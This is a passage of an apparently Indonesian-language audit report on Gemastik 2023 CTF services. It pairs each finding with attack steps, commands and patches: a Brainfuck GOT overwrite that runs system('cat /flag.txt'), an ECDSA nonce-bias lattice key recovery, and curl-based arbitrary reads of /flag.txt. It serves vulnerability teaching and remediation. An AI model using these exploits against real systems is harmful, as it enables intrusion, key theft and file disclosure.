Out-of-Bounds Pointer (`>` / `<`) & Unbounded Code Read pada Interpreter Brainfuck

VALID | Critical | Confidence: High

STATUS	SEVERITY
VALID	Critical

CWE	EXPLOIT ARTIFACT
CWE-787	`exploits/hirnfick/exploit.py`

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

Karakter kode Brainfuck dari user yang dibaca oleh `fgetc(fp)` di dalam `hirnfick.c`

TRANSFORM (Processing) — Path

Instruksi `>` menggeser pointer `++p` dan `<` menggeser `--p` pada array global `char data[1024]` tanpa batas; pembacaan file kode juga menulis `*(pc++) = ch` ke `char code[1024]` tanpa batas

SINK (Execution Point) — Impact

`++*p` dan `--*p` mengubah isi memori di luar array `data` (termasuk tabel GOT fungsi C dan variabel `debug`), lalu `if (debug) puts(data)` memicu eksekusi

2. Root Cause

Attacker menulis program Brainfuck yang menggeser pointer `p` mundur ke arah tabel GOT, mengubah alamat `puts@GOT` menjadi `system`, mengubah variabel `debug` menjadi 1, dan menulis perintah `/bin/sh` atau `cat /flag.txt` di awal `data`. Saat program selesai dan memanggil `if (debug) puts(data)`, yang terpanggil justru `system(data)`!

Syntax / Code Walkthrough

- Global Variable & GOT Overwrite: Di memori binary C, array global `data[1024]` berada dekat dengan variabel global `debug` dan Global Offset Table (GOT). Dengan menggeser pointer `p` keluar dari `data[1024]` menggunakan perintah `<` atau `>`, attacker bisa mengedit alamat fungsi `puts` di GOT menjadi alamat fungsi `system`!

3. VALIDITY EVIDENCE

Source review and official exploit: the interpreter has a global `char data[1024]` and `char code[1024]`; `>`/`<` move `p` without bounds, and the code loader writes `*(pc++)` without a limit. The official payload walks the pointer to `puts@GOT`, writes the low bytes of `system`, sets `debug=1`, and uses `if (debug) puts(data)` to execute `cat /flag.txt`.

4. ATTACK SCENARIO / STEPS

1. Build the Brainfuck payload that moves `p` backward/forward to the GOT and `debug` variable.
2. Write the address of `system` over `puts@GOT` and set `debug=1`.
3. Place the command string at the start of `data`.
4. Run the payload; the final `puts(data)` calls `system(data)`.

Reference: `exploits/hirnfick/exploit.py`

Payload / Command

```
# Official exp.py: move the Brainfuck pointer out of data[1024], overwrite
# puts@GOT with system, set debug=1, and place "cat /flag.txt" at data[0].
python3 exploits/hirnfick/exploit.py --host 127.0.0.1 --port 15000 --command 'cat
/flag.txt
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
while ((ch = fgetc(fp)) ≠ EOF) {
    if (ch == '>' || ch == '<' || ch == '+' || ch == '-' || ch == ',' || ch == '.' || ch
== '[' || ch == ']') {
        *(pc++) = ch; // Tidak dicek apakah sudah melebihi 1024 byte!
    }
}
// Saat eksekusi:
case '>': ++p; break; // Bisa keluar dari batas atas data[1024]!
case '<': --p; break; // Bisa mundur keluar dari batas bawah data[0]!
```

AFTER (Patched)

```
size_t code_len = 0;
while ((ch = fgetc(fp)) ≠ EOF && code_len < sizeof(code) - 1) {
    if (ch == '>' || ch == '<' || ch == '+' || ch == '-' || ch == ',' || ch == '.' || ch
== '[' || ch == ']') {
        code[code_len++] = (char)ch;
    }
}
code[code_len] = '\0';

// Saat eksekusi: kunci pointer p agar tidak pernah keluar dari data[0..1023]
case '>':
    if (p < data + sizeof(data) - 1) ++p;
    break;
case '<':
    if (p > data) --p;
    break;
```

6. PATCH VERIFICATION

- ✓ Bound `p` to `data[0..1023]` and the code length to `sizeof(code)-1`.
- ✓ Compile with PIE and full RELRO so the GOT is read-only.
- ✓ The payload must not overwrite the GOT; normal Brainfuck programs must still run.

CHECKLIST SLA & VERIFIKASI PATCH:
Compile ulang `hirnfick.c` menjadi binary `./hirnfick`. Program Brainfuck normal tetap berjalan lancar karena hanya memakai area di dalam `data[0..1023]`.

Gemastik 2023 Crypto Python / Flask + ecdsa 1 VALID

26. pasta

Primary Source File:

`gemastik-xvi-final/services/pasta/src/pasta.py`

APA YANG DILAKUKAN SERVICE INI?

Aplikasi web pembuat token mirip PASETO yang mendukung 4 versi kurva eliptik (v1: P-224, v2: P-256, v3: P-384, v4: P-521). Endpoint `/flag` membutuhkan token dengan `role == 'admin'`.

FINDING 1 OF 1

Biased ECDSA Nonce pada Kurva NIST P-521 (Hidden Number Problem / Lattice Attack)

VALID High Confidence: High

STATUS	SEVERITY
VALID	High

CWE	EXPLOIT ARTIFACT
CWE-330	exploits/pasta/exploit.py

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) Untrusted

Pembuatan token versi 4 (`v4` menggunakan kurva `NIST521p` dan `sha512`) saat user registrasi/login

TRANSFORM (Processing) Path

`nonce = hmac.new(self.priv.to_string(), data, hashlib.sha512).hexdigest()`, lalu diubah menjadi integer `k = int(nonce, 16)`

SINK (Execution Point) Impact

```
self.priv.sign_digest(h, k=int(nonce, 16))
```

2. Root Cause

Dalam kriptografi ECDSA, jika beberapa bit teratas dari nonce `k` selalu bernilai 0 (nonce bias), attacker cukup mengumpulkan sekitar 60–100 token dengan pesan berbeda lalu menjalankan algoritma reduksi basis kisi (LLL / Hidden Number Problem) untuk menghitung kunci privat server! Setelah kunci privat didapat, attacker membuat token admin palsu.

Syntax / Code Walkthrough

- NIST521p (521-bit) vs SHA-512 (512-bit): Kurva P-521 memiliki ukuran order grup sebesar **521 bit**, sedangkan hasil hash `HMAC-SHA512` panjangnya hanya **512 bit**! Artinya, 9 bit paling atas (Most Significant Bits) dari nonce `k` dijamin SELALU bernilai NOL (`000000000...`).

3. VALIDITY EVIDENCE

Source review and official exploit: v4 uses P-521 (order ~521 bits) but the nonce is `int(hmac_sha512(...).hexdigest(),16)`, only 512 bits. The top ~9 bits are always zero. The official Sage script collects 110 signatures, builds the HNP lattice, runs LLL, recovers the private key, and signs `{"username":"pwned","role":"admin"}`.

4. ATTACK SCENARIO / STEPS

1. Register/login many users with `version=4` and collect 110 tokens.
2. Parse each token's `(r,s)` and message hash.
3. Build the HNP lattice with `nonce_bit=512` and run LLL.
4. Derive candidate private keys and use each to sign an admin token.
5. Request `/flag` with the forged token.

Reference: `exploits/pasta/exploit.py`

Payload / Command

```
See `exploits/pasta/exploit.py` (pure-Python fpylll port of the official `gemastik-xvi-final/exploits/pasta/poc.sage`): collect 110 v4 tokens, build the HNP lattice with `nonce_bit=512`, run LLL, recover the 66-byte P-521 private key, and sign an admin token.
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
def sign(self, data: str):
    data = data.encode()
    pub = self.priv.get_verifying_key().to_string()
    h = self.hashfunc(data + pub).digest()
    nonce = hmac.new(self.priv.to_string(), data, self.hashfunc).hexdigest()
    sig = self.priv.sign_digest(h, k=int(nonce, 16))
    return self.serialize(data + pub, sig)
```

AFTER (Patched)

```
import secrets

def sign(self, data: str):
    data = data.encode()
    pub = self.priv.get_verifying_key().to_string()
    h = self.hashfunc(data + pub).digest()
    # Gunakan RFC 6979 bawaan library ecdsa atau CSPRNG dengan rentang penuh order kurva!
    order = self.priv.curve.order
    k = secrets.randbelow(order - 1) + 1
    sig = self.priv.sign_digest(h, k=k)
    return self.serialize(data + pub, sig)
```

6. PATCH VERIFICATION

- ✓ Use a full-range CSPRNG nonce or RFC 6979 (521-bit range).
- ✓ The nonce distribution must have no fixed top bits.
- ✓ The forged admin token must be rejected; normal v1-v4 tokens must still verify.

CHECKLIST SLA & VERIFIKASI PATCH:
Menggunakan `secrets.randbelow(order - 1) + 1` menghasilkan nonce sepanjang 521-bit penuh secara merata pada kurva P-521, sehingga menutup celah lattice attack tanpa mengubah format token.

Gemastik 2023 | Web | Python / Flask | 1 VALID

27. s3

Primary Source File:

`gemastik-xvi-final/services/s3/src/main.py`

APA YANG DILAKUKAN SERVICE INI?

Layanan penyimpanan file sederhana ('Stupid Storage Service') dengan dua endpoint: `/upload` dan `/download?filename=...`.

FINDING 1 OF 1

Absolute Path Behavior pada os.path.join() -> Arbitrary File Read (/flag.txt)

VALID | High | Confidence: High

STATUS	SEVERITY
VALID	High

CWE	EXPLOIT ARTIFACT
CWE-22	exploits/s3/exploit.py

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

`request.args.get('filename') pada endpoint `/download``

TRANSFORM (Processing) — Path

Hanya mengecek `assert filename and '..' not in filename`, lalu memanggil `os.path.join('uploads/', filename)`

SINK (Execution Point) — Impact

`open(os.path.join('uploads/', filename)).read()`

2. Root Cause

Developer sudah memblokir `..` tetapi lupa bahwa di Python, `os.path.join('uploads/', '/flag.txt')` menghasilkan `/flag.txt`. Attacker cukup mengakses `/download?filename=/flag.txt` (tanpa memakai `..` sama sekali) untuk membaca flag!

Syntax / Code Walkthrough

- os.path.join('uploads/', '/flag.txt'): Aturan resmi dokumentasi Python menyatakan bahwa jika ada argumen di dalam `os.path.join` yang diawali dengan `/` (path absolut), maka semua argumen di sebelah kirinya (`uploads/`) akan DIBUANG!

3. VALIDITY EVIDENCE

Source review and official exploit: `os.path.join('uploads/', '/flag.txt')` returns `/flag.txt` because the second argument is absolute. The only check is `'..' not in filename`, which an absolute path does not need. The official `gemastik-xvi-final/exploits/s3/exp.py` returns the flag.

4. ATTACK SCENARIO / STEPS

1. Request `/download?filename=/flag.txt`.
2. `os.path.join` discards `uploads/` and opens `/flag.txt`.
3. The response body is the flag.

Reference: `exploits/s3/exploit.py`

Payload / Command

```
curl -s 'http://HOST:PORT/download?filename=/flag.txt'
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
@app.route("/download", methods=["GET"])
def donlot():
    filename = request.args.get("filename")
    assert filename and ".." not in filename
    return open(os.path.join("uploads/", filename)).read()
```

AFTER (Patched)

```
from werkzeug.utils import secure_filename

@app.route("/download", methods=["GET"])
def donlot():
    filename = secure_filename(request.args.get("filename") or "")
    assert filename and ".." not in filename and not os.path.isabs(filename)
    base = os.path.realpath("uploads")
    target = os.path.realpath(os.path.join(base, filename))
    assert os.path.commonpath([base, target]) == base
    return open(target).read()
```

6. PATCH VERIFICATION

- ✓ Reject absolute paths and use `secure_filename`/`realpath` with a base-directory prefix check.
- ✓ `/flag.txt` and `../` must both be rejected; a normal uploaded file must still download.

CHECKLIST SLA & VERIFIKASI PATCH:
Terapkan juga `secure_filename` dan pengecekan `commonpath` pada endpoint `/upload` agar attacker tidak bisa menulis file ke path absolut di luar `uploads/`.

Gemastik 2023 | Web | TypeScript / NestJS + SheetJS (xlsx) | 1 VALID

28. xl

Primary Source File:

`gemastik-xvi-final/services/xl/src/app.controller.ts & app.service.ts`

APA YANG DILAKUKAN SERVICE INI?

Aplikasi pengubah file spreadsheet Excel menjadi JSON menggunakan library `xlsx` (SheetJS). Menerima file upload pada `@UploadedFile() file` dan opsi tambahan dari query URL `@Query() options: ParsingOptions`.

FINDING 1 OF 1

Arbitrary File Read (LFI) lewat Injeksi Opsi Query ?type=file pada xlsx.read()

VALID | High | Confidence: High

STATUS	SEVERITY
VALID	High

CWE	EXPLOIT ARTIFACT
CWE-73	exploits/xl/exploit.py

1. SOURCE-TO-SINK ANALYSIS

SOURCE (Attacker Input) — Untrusted

Query URL `@Query() options` dan isi `file.buffer` dari file yang di-upload user

TRANSFORM (Processing) — Path

Meneruskan `options` dari URL langsung ke parameter kedua `xlsx.read(file.buffer, options)`

SINK (Execution Point) — Impact

`read(file.buffer, options).Sheets`

2. Root Cause

Attacker meng-upload sebuah file kecil yang isinya hanya teks `/flag.txt`, lalu memanggil URL `POST /?type=file`. Library `xlsx` melihat opsi `type: 'file'`, membaca teks `/flag.txt` dari dalam `file.buffer`, membuka file `/flag.txt` milik server, dan mengembalikan isinya sebagai JSON ke layar attacker!

Syntax / Code Walkthrough

- xlsx.read(data, { type: 'file' }): Fungsi `read` pada SheetJS membaca `data` sesuai pengaturan `options.type`. Jika `type` bernilai `'buffer'`, `data` dianggap isi file Excel. TAPI jika user mengirim `?type=file` di URL, maka `xlsx.read` akan menganggap isi `file.buffer` sebagai **nama path file di dalam server** (misal `/flag.txt`) lalu membukanya dari harddisk!

3. VALIDITY EVIDENCE

Source review and official exploit: `@Query() options` is passed directly to `xlsx.read(file.buffer, options)`. With `type:'file'`, SheetJS interprets the uploaded buffer as a filesystem path and reads `/flag.txt`; the parsed sheets are returned as JSON. The official `xl/play.py` uses a file containing `/flag.txt`.

4. ATTACK SCENARIO / STEPS

1. Create a small file containing `/flag.txt`.

2. POST it to `/?type=file` as the `file` field.

3. SheetJS reads the server path and returns the parsed content in the JSON response.

Reference: `exploits/xl/exploit.py`

Payload / Command

```
# Upload a file whose contents are the path "/flag.txt", then force type=file:
curl -s -F 'file=@path.txt' 'http://HOST:PORT/?type=file'
# path.txt contains: /flag.txt
```

5. PATCH: BEFORE / AFTER

BEFORE (Vulnerable)

```
// Di app.controller.ts:
@Post()
@UseInterceptors(FileInterceptor('file'))
convert(@UploadedFile() file: Express.Multer.File, @Query() options: ParsingOptions) {
  return this.appService.convert(file, options);
}

// Di app.service.ts:
convert(file, options): object {
  return read(file.buffer, options).Sheets;
}
```

AFTER (Patched)

```
// Di app.service.ts: Kunci paksa opsi menjadi { type: 'buffer' } dan abaikan options
dari user!
convert(file: Express.Multer.File, _options?: ParsingOptions): object {
  return read(file.buffer, { type: 'buffer' }).Sheets;
}
```

6. PATCH VERIFICATION

- ✓ Ignore user-supplied parsing options and force `{type:'buffer'}`.
- ✓ Validate the uploaded file type and reject path-like content.
- ✓ `?type=file` must not read server files; normal spreadsheets must still parse.

CHECKLIST SLA & VERIFIKASI PATCH:
Setelah mengubah `options` menjadi `{ type: 'buffer' }`, jalankan `npm run build` dan restart service NestJS.